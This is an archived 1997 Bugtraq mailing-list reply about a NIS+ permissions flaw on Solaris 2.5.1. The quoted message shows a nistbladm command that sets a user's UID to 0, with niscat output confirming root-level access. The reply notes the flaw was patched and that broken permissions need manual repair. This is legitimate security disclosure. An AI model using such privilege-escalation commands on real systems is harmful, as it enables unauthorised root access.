[4618] in bugtraq
Re: NIS+, Solaris 2.5.1
daemon@ATHENA.MIT.EDU (Casper Dik)
Fri May 30 20:17:39 1997
Date: Fri, 30 May 1997 23:56:42 +0200
Reply-To: Casper Dik <casper@HOLLAND.SUN.COM>
From: Casper Dik <casper@HOLLAND.SUN.COM>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To: Your message of "Fri, 30 May 1997 19:44:40 +0200."
<199705301744.TAA05807@basement.replay.com>
>Ever tried to change your NIS+ password with
>the "nistbladm" command ? Works fine, but you
>can also change your UID ....
>
>$ nistbladm -e uid=0 '[name=alice]',passwd.org_dir
>
>$ niscat passwd.org_dir | grep alice
>alice:xedvtAgfruijg:0:1001:........
Where have you been? This bug was reported and fixed a long time
ago. Patches were released about a year ago.
Installing the patch in itself isn't enough, of course, once you've
runa broken nissetup you've got broken permissions you'll need to fix by
hand.
Casper
